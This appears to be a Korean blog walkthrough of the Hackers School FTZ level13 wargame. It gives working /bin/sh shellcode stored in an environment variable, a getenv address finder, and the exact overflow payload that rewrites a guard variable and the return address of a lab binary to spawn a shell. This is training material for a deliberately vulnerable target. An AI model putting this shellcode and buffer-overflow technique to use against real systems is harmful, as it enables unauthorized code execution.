해커스쿨 ftz level13 (macOS)
해커스쿨 ftz Level13
MacOS에서 푸는 해커스쿨 ftz
해커스쿨 ftz level13 단계이다.
먼저 ftz서버를 실행한다.
서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.
Mac의 터미널을 열어 서버에 접속합니다.
명령어는
ssh -c aes128-cbc level13@서버ip
라고 입력합니다.
Id: level13, pw: have no clue 로 로그인하여 파일을 확인하였다.
hint를 확인하니 소스코드가 나왔고 코드를 살펴보니 i의 값이 0x1234567로 잘 덮어주면 될 것 같다.
gdb를 통해 attackme 프로그램을 보기로 했다.
main함수의 구조를 확인하였다. buf 배열과 dummy부분을 아무값이나 채우고 i는 01234567로 채우고 다시 dummy값고 sfp 부분을 아무값으로 채운뒤 쉘코드를 작성하여 ret값에 넣어주면 될 것 같다.
tmp 디렉토리로 이동하여 쉘코드를 작성하였다.
$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
를 차례로 입력하여 0xbffffe45의 쉘코드 주소를 구했다.
다시 이전 디렉토리로 돌아와서 구한 주소를 포함한
./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x45\xfe\xff\xbf"'`
명령어를 입력했더니 쉘을 얻을 수 있었다.
my-pass 명령어를 입력하니 패스워드를 알 수 있었다.